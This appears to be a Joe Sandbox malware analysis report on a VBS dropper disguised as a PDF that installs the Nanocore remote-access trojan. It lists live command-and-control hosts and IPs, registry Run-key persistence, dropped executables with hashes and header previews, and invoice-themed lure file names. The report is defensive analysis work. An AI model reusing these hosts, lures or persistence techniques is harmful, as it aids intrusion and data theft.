https://api.ipify.org%GETMozilla/5.0 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.delar 0% Avira URL Cloud safe

www.urwpp.de 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.sajatypeworks.come 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

https://api.ipify.org% 0% URL Reputation safe

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip 0% URL Reputation safe

gEwqkY.com 0% Avira URL Cloud safe

23.94.82.41 0% Avira URL Cloud safe

DynDns.comDynDNS 0% URL Reputation safe

www.zhongyicts.com.cnse 0% Avira URL Cloud safe

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-
0.4.3.6.zip%tordir%%ha

0% URL Reputation safe

www.jiyu-kobo.co.jp/R 0% URL Reputation safe

www.jiyu-kobo.co.jp/L 0% URL Reputation safe

www.founder.com.cn/cnrru 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/jp/ 0% URL Reputation safe

www.fontbureau.coma 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.fontbureau.comrsief0 0% Avira URL Cloud safe

www.fontbureau.comTTFdL 0% Avira URL Cloud safe

www.founder.com.cn/cn 0% URL Reputation safe

www.founder.com.cn/cnormT 0% Avira URL Cloud safe

www.monotype. 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

https://t9ePmKiGxqnJEdt3liGF.com 0% Avira URL Cloud safe

www.fontbureau.comitu 0% URL Reputation safe

www.fontbureau.comals 0% URL Reputation safe

www.jiyu-kobo.co.jp/s-c 0% Avira URL Cloud safe

www.fonts.com8 0% URL Reputation safe

Domains

URLs
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General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 483646

Start date: 15.09.2021

Start time: 10:49:11

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 15m 18s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: 09142021_PDF.vbs

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

28

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.spre.troj.spyw.evad.winVBS@12/11@10/3

EGA Information: Failed

HDC Information: Successful, ratio: 6.3% (good quality ratio 0.8%)
Quality average: 6.5%
Quality standard deviation: 15.1%

www.founder.com.cn/cnsof 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

mail.quanturnvia.com 5.149.255.77 true true unknown

sys2021.linkpc.net 105.112.53.223 true false high

Name Malicious Antivirus Detection Reputation

23.94.82.41 true Avira URL Cloud: safe unknown

sys2021.linkpc.net false high

IP Domain Country Flag ASN ASN Name Malicious

23.94.82.41 unknown United States 36352 AS-COLOCROSSINGUS true

5.149.255.77 mail.quanturnvia.com United Kingdom 59711 HZ-NL-ASGB true

105.112.53.223 sys2021.linkpc.net Nigeria 36873 VNL1-ASNG false

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public
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HCA Information: Successful, ratio: 94%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .vbs
Override analysis time to 240s for JS/VBS files not yet terminated

Warnings:

Time Type Description

10:50:16 API Interceptor 1935x Sleep call for process: Chrome.exe modified

10:50:20 Autostart Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run DHCP Monitor C:\Program Files (x86)\DHCP Mon
itor\dhcpmon.exe

10:50:35 API Interceptor 1x Sleep call for process: Notepad.exe modified

10:50:51 API Interceptor 1718x Sleep call for process: MSBuild.exe modified

10:51:04 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run hmltog C:\Users\user\AppData\Roaming\hmltog\
hmltog.exe

10:51:12 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run hmltog C:\Users\user\AppData\Roaming\hmlto
g\hmltog.exe

Match Associated Sample Name / URL SHA 256 Detection Link Context

23.94.82.41 09112021_pdf.vbs Get hash malicious Browse

02_extracted.exe Get hash malicious Browse

09062021_PDF.vbs Get hash malicious Browse

09052021_PDF.vbs Get hash malicious Browse

09042021_PDF.vbs Get hash malicious Browse

PRODUCT INVOICESPDF.exe Get hash malicious Browse

11_extracted.exe Get hash malicious Browse

Payment Order_PDF.vbs Get hash malicious Browse

Match Associated Sample Name / URL SHA 256 Detection Link Context

sys2021.linkpc.net 09112021_pdf.vbs Get hash malicious Browse 105.112.45.229

02_extracted.exe Get hash malicious Browse 192.227.12
8.168

01_extracted.exe Get hash malicious Browse 192.227.12
8.168

P4ImU1Vrfj.exe Get hash malicious Browse 192.227.12
8.168

09062021_PDF.vbs Get hash malicious Browse 192.227.12
8.168

09052021_PDF.vbs Get hash malicious Browse 192.227.12
8.168

09042021_PDF.vbs Get hash malicious Browse 192.227.12
8.168

8202021_PDF.vbs Get hash malicious Browse 192.227.12
8.168

8192021_PDF.vbs Get hash malicious Browse 192.227.12
8.168

PRODUCT INVOICESPDF.exe Get hash malicious Browse 192.227.12
8.168

02_extracted.exe Get hash malicious Browse 192.227.12
8.168

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains
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https://view.joesandbox.com/analysis/378040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378040/html/none?idtype=webid
https://view.joesandbox.com/analysis/377297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377297/html/none?idtype=webid
https://view.joesandbox.com/analysis/375611/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375611/html/none?idtype=webid
https://view.joesandbox.com/analysis/375292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375292/html/none?idtype=webid
https://view.joesandbox.com/analysis/375018/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375018/html/none?idtype=webid
https://view.joesandbox.com/analysis/362801/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/362801/html/none?idtype=webid
https://view.joesandbox.com/analysis/352305/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352305/html/none?idtype=webid
https://view.joesandbox.com/analysis/351911/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351911/html/none?idtype=webid
https://view.joesandbox.com/analysis/378040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378040/html/none?idtype=webid
https://view.joesandbox.com/analysis/377297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377297/html/none?idtype=webid
https://view.joesandbox.com/analysis/377292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377292/html/none?idtype=webid
https://view.joesandbox.com/analysis/377196/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377196/html/none?idtype=webid
https://view.joesandbox.com/analysis/375611/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375611/html/none?idtype=webid
https://view.joesandbox.com/analysis/375292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375292/html/none?idtype=webid
https://view.joesandbox.com/analysis/375018/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375018/html/none?idtype=webid
https://view.joesandbox.com/analysis/367971/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/367971/html/none?idtype=webid
https://view.joesandbox.com/analysis/367390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/367390/html/none?idtype=webid
https://view.joesandbox.com/analysis/362801/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/362801/html/none?idtype=webid
https://view.joesandbox.com/analysis/360408/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/360408/html/none?idtype=webid


PRODUCT INVOICES_PDF.vbs Get hash malicious Browse 192.227.12
8.168

Invoice NeededPDF.exe Get hash malicious Browse 192.227.12
8.168

Inv-04_PDF.vbs Get hash malicious Browse 192.227.12
8.168

Ee50nK4E89.exe Get hash malicious Browse 192.227.12
8.168

11_extracted.exe Get hash malicious Browse 197.210.29.244

01_extracted.exe Get hash malicious Browse 197.210.29.244

Payment Order for #0025_PDF.vbs Get hash malicious Browse 197.210.29.244

Payment Order_PDF.vbs Get hash malicious Browse 23.94.82.41

mail.quanturnvia.com 09112021_pdf.vbs Get hash malicious Browse 5.149.255.77

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

AS-COLOCROSSINGUS Swift Mt103.xlsx Get hash malicious Browse 23.95.13.175

vkb.xlsx Get hash malicious Browse 192.3.13.11

Transfer Swift.xlsx Get hash malicious Browse 172.245.26.190

ORDER 5172020.xlsx Get hash malicious Browse 198.12.84.109

REF_MIDLGB34.xlsx Get hash malicious Browse 23.94.159.208

proforma invoice.xlsx Get hash malicious Browse 192.3.141.149

Swift_Mt103.xlsx Get hash malicious Browse 23.95.13.175

PO-80722 .xlsx Get hash malicious Browse 198.12.84.109

MT103-Swift Copy.xlsx Get hash malicious Browse 198.46.199.203

Items_quote.xlsx Get hash malicious Browse 172.245.26.145

Usd_transfer.xlsx Get hash malicious Browse 172.245.26.145

REF_MIDLGB34.xlsx Get hash malicious Browse 23.94.159.208

ORDER RFQ1009202.xlsx Get hash malicious Browse 23.95.85.181

msn.xlsx Get hash malicious Browse 198.12.127.217

swift.xlsx Get hash malicious Browse 198.46.199.171

Additional Order Qty 197.xlsx Get hash malicious Browse 198.12.107.117

DHL Cargo Arrival.xlsx Get hash malicious Browse 172.245.26.190

Po2142021.xlsx Get hash malicious Browse 198.12.107.117

UPDATED SOA - JUNE & JUULY & AUGUST.xlsx Get hash malicious Browse 192.3.146.254

USD INV#1191189.xlsx Get hash malicious Browse 192.3.146.254

No context

No context

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe

Process: C:\Users\user\AppData\Local\Temp\Chrome.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 207360

Entropy (8bit): 7.447937910582972

Encrypted: false

SSDEEP: 6144:wLV6Bta6dtJmakIM5pFmHi8ieZv00yRQ+E2c8:wLV6BtpmkGFmC83KWH2c8

MD5: A9C24A18FBD231939EB608A7A2087A49

SHA1: 1FF543A9B901E0064DC51643445AB4D06BD3815E

SHA-256: 8825944DDA4E2F28B26B51D7F4F9869EE5FA0553432414C4A9DF266FCB81C3B4

SHA-512: 2D88103A0AE1B614F76BC43BE8E5B9DE5F3DAA5C56454E7F6F28D581593803AD6D5605ECAE7671CEC57B39DBDB0A15BB802E6763689B4E02E83F76F55CCED1
B7

Malicious: true

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/360168/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/360168/html/none?idtype=webid
https://view.joesandbox.com/analysis/356642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356642/html/none?idtype=webid
https://view.joesandbox.com/analysis/353695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353695/html/none?idtype=webid
https://view.joesandbox.com/analysis/353007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353007/html/none?idtype=webid
https://view.joesandbox.com/analysis/352305/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352305/html/none?idtype=webid
https://view.joesandbox.com/analysis/352302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352302/html/none?idtype=webid
https://view.joesandbox.com/analysis/352177/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352177/html/none?idtype=webid
https://view.joesandbox.com/analysis/351911/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351911/html/none?idtype=webid
https://view.joesandbox.com/analysis/378040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378040/html/none?idtype=webid
https://view.joesandbox.com/analysis/379407/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379407/html/none?idtype=webid
https://view.joesandbox.com/analysis/379406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379406/html/none?idtype=webid
https://view.joesandbox.com/analysis/379404/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379404/html/none?idtype=webid
https://view.joesandbox.com/analysis/379399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379399/html/none?idtype=webid
https://view.joesandbox.com/analysis/379398/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379398/html/none?idtype=webid
https://view.joesandbox.com/analysis/379385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379385/html/none?idtype=webid
https://view.joesandbox.com/analysis/379371/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379371/html/none?idtype=webid
https://view.joesandbox.com/analysis/379170/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379170/html/none?idtype=webid
https://view.joesandbox.com/analysis/379168/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379168/html/none?idtype=webid
https://view.joesandbox.com/analysis/379167/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379167/html/none?idtype=webid
https://view.joesandbox.com/analysis/379166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379166/html/none?idtype=webid
https://view.joesandbox.com/analysis/379164/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379164/html/none?idtype=webid
https://view.joesandbox.com/analysis/379159/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379159/html/none?idtype=webid
https://view.joesandbox.com/analysis/379158/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379158/html/none?idtype=webid
https://view.joesandbox.com/analysis/379155/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379155/html/none?idtype=webid
https://view.joesandbox.com/analysis/379140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379140/html/none?idtype=webid
https://view.joesandbox.com/analysis/379093/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379093/html/none?idtype=webid
https://view.joesandbox.com/analysis/379086/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379086/html/none?idtype=webid
https://view.joesandbox.com/analysis/379084/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379084/html/none?idtype=webid
https://view.joesandbox.com/analysis/379083/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379083/html/none?idtype=webid


Yara Hits: Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe, Author: Florian Roth
Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe, Author: Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe, Author: Joe Security
Rule: NanoCore, Description: unknown, Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe, Author:  Kevin Breen <kevin@techanarchy.net>

Antivirus: Antivirus: Avira, Detection: 100%
Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 86%, Browse
Antivirus: ReversingLabs, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....'.T.....................`........... ........@.. ..................................
....................................8...W.... ...]........................................................................... ............... ..H............text........ ...................... ..`.reloc..............................@..B.rsrc....]... 
...^..................@..@................t.......H...........T............................................................0..Q........o5.......*.o6....-.&......3+..+.... ....3......1..... 2.... ....3.... .......*.*....0..E.......s7....-(&s
8....-&&s9....,$&s:........s;........*.....+.....+.....+.....0..........~....o<...*..0..........~....o=...*..0..........~....o>...*..0..........~....o?...*..0..........~....o@...*..0.............-.&(A...*&+...0..$.......
~B........-.(...+.-.&+..B...+.~B...*.0.............-.&(A...*&+...0..

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\Notepad.exe.log
Process: C:\Users\user\AppData\Local\Temp\Notepad.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 794

Entropy (8bit): 5.275237952673745

Encrypted: false

SSDEEP: 24:MLF20NaL3z2p29hJ5g522rW2xAi3AP29XBT:MwLLD2Y9h3go2rxxAcAO9XBT

MD5: DA438C60C1B51D4F4CC7570ED3423896

SHA1: 6A381EA43A25330861EBDD9035C396FCAF1F8B3F

SHA-256: 067E533EFB173D68852FBAFED12FBE975141C44FB7E7CEDEE754BBC8A81CCCF7

SHA-512: 6727E148508CD60C5DC0F9E515B56C8522B7FEEAE18B4AEC990612ED65FAB488FFF8BAA71CE6E7A073F30466F0E8D62B6B307A131F85F29B9434E0A4CBE70FA
7

Malicious: false

Reputation: unknown

Preview:
1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System\1ffc437de59fb69ba2b865ffdc98ffd1\System.ni.dll",0..3,"C:\Windows\assembly
\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\cd7c74fce2a0eab72cd25cbe4bb61614\Microsoft.VisualBasic.ni.dll",0..3,"C:\Windows\assembly\NativeImages
_v2.0.50727_32\System.Drawing\54d944b3ca0ea1188d700fbd8089726b\System.Drawing.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Wind
ows.Forms\bd8d59c984c9f5f2695f64341115cdf0\System.Windows.Forms.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Runtime.Remo#\3577
4dc3cd31b4550ab06c3354cf4ba5\System.Runtime.Remoting.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Management\4de99804
c29261edb63c93616550f034\System.Management.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\dhcpmon.exe.log

Process: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 525

Entropy (8bit): 5.2874233355119316

Encrypted: false

SSDEEP: 12:Q3LaJU20NaL10U29hJ5g1B0U2ukyrFk70Ug+9Yz9tv:MLF20NaL329hJ5g522rWz2T

MD5: 61CCF53571C9ABA6511D696CB0D32E45

SHA1: A13A42A20EC14942F52DB20FB16A0A520F8183CE

SHA-256: 3459BDF6C0B7F9D43649ADAAF19BA8D5D133BCBE5EF80CF4B7000DC91E10903B

SHA-512: 90E180D9A681F82C010C326456AC88EBB89256CC769E900BFB4B2DF92E69CA69726863B45DFE4627FC1EE8C281F2AF86A6A1E2EF1710094CCD3F4E092872F06F

Malicious: true

Reputation: unknown

Preview:
1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System\1ffc437de59fb69ba2b865ffdc98ffd1\System.ni.dll",0..3,"C:\Windows\assembly
\NativeImages_v2.0.50727_32\System.Drawing\54d944b3ca0ea1188d700fbd8089726b\System.Drawing.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_3
2\System.Windows.Forms\bd8d59c984c9f5f2695f64341115cdf0\System.Windows.Forms.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.Vi
sualBas#\cd7c74fce2a0eab72cd25cbe4bb61614\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\hmltog.exe.log
Process: C:\Users\user\AppData\Roaming\hmltog\hmltog.exe

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 325

Entropy (8bit): 5.334380084018418

Encrypted: false

SSDEEP: 6:Q3LadLCR22IAQykdL1tZbLsbFLIP12MUAvvro6ysGMFLIP12MUAvvrs:Q3LaJU20NaL1tZbgbe4MqJsGMe4M6

MD5: 65CE98936A67552310EFE2F0FF5BDF88

SHA1: 8133653A6B9A169C7496ADE315CED322CFC3613A

SHA-256: 682F7C55B1B6E189D17755F74959CD08762F91373203B3B982ACFFCADE2E871A
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SHA-512: 2D00AC024267EC384720A400F6D0B4F7EDDF49FAF8AB3C9E6CBFBBAE90ECADACA9022B33E3E8EC92E4F57C7FC830299C8643235EB4AA7D8A6AFE9DD1775F5
7C3

Malicious: false

Reputation: unknown

Preview:
1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System\1ffc437de59fb69ba2b865ffdc98ffd1\System.ni.dll",0..2,"Microsoft.Build.user, Version
=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.Build.Framework, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\hmltog.exe.log

C:\Users\user\AppData\Local\Temp\Chrome.exe

Process: C:\Windows\System32\wscript.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 207360

Entropy (8bit): 7.447937910582972

Encrypted: false

SSDEEP: 6144:wLV6Bta6dtJmakIM5pFmHi8ieZv00yRQ+E2c8:wLV6BtpmkGFmC83KWH2c8

MD5: A9C24A18FBD231939EB608A7A2087A49

SHA1: 1FF543A9B901E0064DC51643445AB4D06BD3815E

SHA-256: 8825944DDA4E2F28B26B51D7F4F9869EE5FA0553432414C4A9DF266FCB81C3B4

SHA-512: 2D88103A0AE1B614F76BC43BE8E5B9DE5F3DAA5C56454E7F6F28D581593803AD6D5605ECAE7671CEC57B39DBDB0A15BB802E6763689B4E02E83F76F55CCED1
B7

Malicious: true

Yara Hits: Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: C:\Users\user\AppData\Local\Temp\Chrome.exe, Author: Florian Roth
Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: C:\Users\user\AppData\Local\Temp\Chrome.exe, Author: Florian Roth
Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: C:\Users\user\AppData\Local\Temp\Chrome.exe, Author: Joe Security
Rule: NanoCore, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\Chrome.exe, Author:  Kevin Breen <kevin@techanarchy.net>

Antivirus: Antivirus: Avira, Detection: 100%
Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 86%, Browse
Antivirus: ReversingLabs, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....'.T.....................`........... ........@.. ..................................
....................................8...W.... ...]........................................................................... ............... ..H............text........ ...................... ..`.reloc..............................@..B.rsrc....]... 
...^..................@..@................t.......H...........T............................................................0..Q........o5.......*.o6....-.&......3+..+.... ....3......1..... 2.... ....3.... .......*.*....0..E.......s7....-(&s
8....-&&s9....,$&s:........s;........*.....+.....+.....+.....0..........~....o<...*..0..........~....o=...*..0..........~....o>...*..0..........~....o?...*..0..........~....o@...*..0.............-.&(A...*&+...0..$.......
~B........-.(...+.-.&+..B...+.~B...*.0.............-.&(A...*&+...0..

C:\Users\user\AppData\Local\Temp\Notepad.exe

Process: C:\Windows\System32\wscript.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 838144

Entropy (8bit): 6.081092945132605

Encrypted: false

SSDEEP: 12288:l83ory3veUbILoxew9VhmJmpeSoAfTU6tWq:lDIee8+mGoAfTU6Eq

MD5: 033B15C82C1F08143DA87E0F4D1AD9BC

SHA1: 8E0436CA6C3A04EF9158779A167558136D160578

SHA-256: 95BF92B7472F7475789FB6838C8C3EED943C69EFE8B3E2A9DF4714D189FB59CB

SHA-512: 979D35460519C2F3E4363E25608D44D195AE9BE07902F69529D99A18833DACA0BE6BEB6E32B8BCAFB3A2E7578E2B38A9E8B8856041E6288EE78342556C47D045

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x@a..............P.................. ........@.. ....................... ..........
..@.................................T...O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc........
......................@..B........................H........\...............d...z...........................................0............(....(..........(.....o.....*.....................(.......( ......(!......("......(#....*N..(....o....($....*&..(%
....*.s&........s'........s(........s)........s*........*....0...........~....o+....+..*.0...........~....o,....+..*.0...........~....o-....+..*.0...........~....o.....+..*.0...........~....o/....+..*.0..<........~.....(0.....,!r.
..p.....(1...o2...s3............~.....+..*.0......

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

Process: C:\Users\user\AppData\Local\Temp\Chrome.exe

File Type: ISO-8859 text, with no line terminators

Category: dropped

Size (bytes): 8

Entropy (8bit): 3.0

Encrypted: false

SSDEEP: 3:SG+t:SG+t

MD5: C4EAAD30813C874DC8DA4CAA8F2D054C

SHA1: C011FAE0CF642FB0381E6C0206D22E2CD923A816
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SHA-256: EAB05C007E1FAEDE7355F0FC43BC76095A26C12396F5BAAB48DC1813C05003D6

SHA-512: 6C8325CB7CC3986844A6C1FDCBD44774D2873DBFA331439F39C22D21D1448969258560349A61D0BB1EB38D11B85C7F194DBA61AC4C3B94F60AE073D86E9D11A8

Malicious: true

Reputation: unknown

Preview:
Y..Fqx.H

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

C:\Users\user\AppData\Roaming\hmltog\hmltog.exe

Process: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File Type: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 69632

Entropy (8bit): 5.20894581699571

Encrypted: false

SSDEEP: 768:NElGiBcBuiyFjUwF0wdP9/rJMDnRFRJfStGpwV3e3qtAcy:ilGBu7jjP9/tMDn9Jt+VO3GO

MD5: 88BBB7610152B48C2B3879473B17857E

SHA1: 0F6CF8DD66AA58CE31DA4E8AC0631600EF055636

SHA-256: 2C7ACC16D19D076D67E9F1F37984935899B79536C9AC6EEC8850C44D20F87616

SHA-512: 5BACDF6C190A76C2C6A9A3519936E08E898AC8A2B1384D60429DF850BE778860435BF9E5EB316517D2345A5AAE201F369863F7A242134253978BCB5B2179CA58

Malicious: true

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{Z.....................@........... ........@.. .......................@......99..
..@.....................................S.......`/................... ....................................................... ............... ..H............text....... ...................... ..`.rsrc...`/.......0..................@..@.reloc....... .
.....................@..B...........................................................................................................................................................................................................................................
.............................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\tfeoxaxs.grf\Chrome\Default\Cookies
Process: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 20480

Entropy (8bit): 0.6951152985249047

Encrypted: false

SSDEEP: 24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBopIvJn2QOYiUG3PaVrX:T5LLOpEO5J/Kn7U1uBopIvZXC/alX

MD5: EA7F9615D77815B5FFF7C15179C6C560

SHA1: 3D1D0BAC6633344E2B6592464EBB957D0D8DD48F

SHA-256: A5D1ABB57C516F4B3DF3D18950AD1319BA1A63F9A39785F8F0EACE0A482CAB17

SHA-512: 9C818471F69758BD4884FDB9B543211C9E1EE832AC29C2C5A0377C412454E8C745FB3F38FF6E3853AE365D04933C0EC55A46DDA60580D244B308F92C57258C98

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C....... ..g... .8......................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

\Device\ConDrv
Process: C:\Users\user\AppData\Roaming\hmltog\hmltog.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 306

Entropy (8bit): 4.969261552825097

Encrypted: false

SSDEEP: 6:zx3M1tlAX8bSWR30qysGMQbSVRRZBXVRbJ0fFdCsq2UTiMdH8stCal+n:zK1XnV30ZsGMIG9BFRbQdCT2UftCM+

MD5: F227448515085A647910907084E6728E

SHA1: 5FA1A8E28B084DA25A1BBC51A2D75810CEF57E2C

SHA-256: 662BA47D628FE8EBE95DD47B4482110A10B49AED09387BC0E028BB66E68E20BD

SHA-512: 6F6E5DFFF7B17C304FB19B0BA5466AF84EF98A5C2EFA573AF72CFD3ED6964E9FD7F8E4B79FCFFBEF87CE545418C69D4984F4DD60BBF457D0A3640950F8FC5A
F0

Malicious: false

Reputation: unknown

Preview:
Microsoft (R) Build user Version 2.0.50727.8922..[Microsoft .NET Framework, Version 2.0.50727.8922]..Copyright (C) Microsoft Corporation 2005. All rights reserv
ed.....MSBUILD : error MSB1003: Specify a project or solution file. The current working directory does not contain a project or solution file...
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Static File Info

General
File type: ASCII text, with very long lines, with CRLF line t

erminators

Entropy (8bit): 5.3236705425594835

TrID: Visual Basic Script (13500/0) 100.00%

File name: 09142021_PDF.vbs

File size: 1471650

MD5: 4a638d451c40bc23491a0c79b6561d29

SHA1: 5caa98e6150e72cff32549541ab937cc952b769c

SHA256: 62e85b9481efe0bb5921277ce40acb236dba44be1bbe8b
ab2be8068eef10c341

SHA512: 410334862dfa2d11e847969405545142ccd3d1654add3b
11f5c23cbcb5112ae801a1aefc25bee8d851d044ffd3e8e
99cfd0c8a7fc05fc21ee948c0f83ac600ac

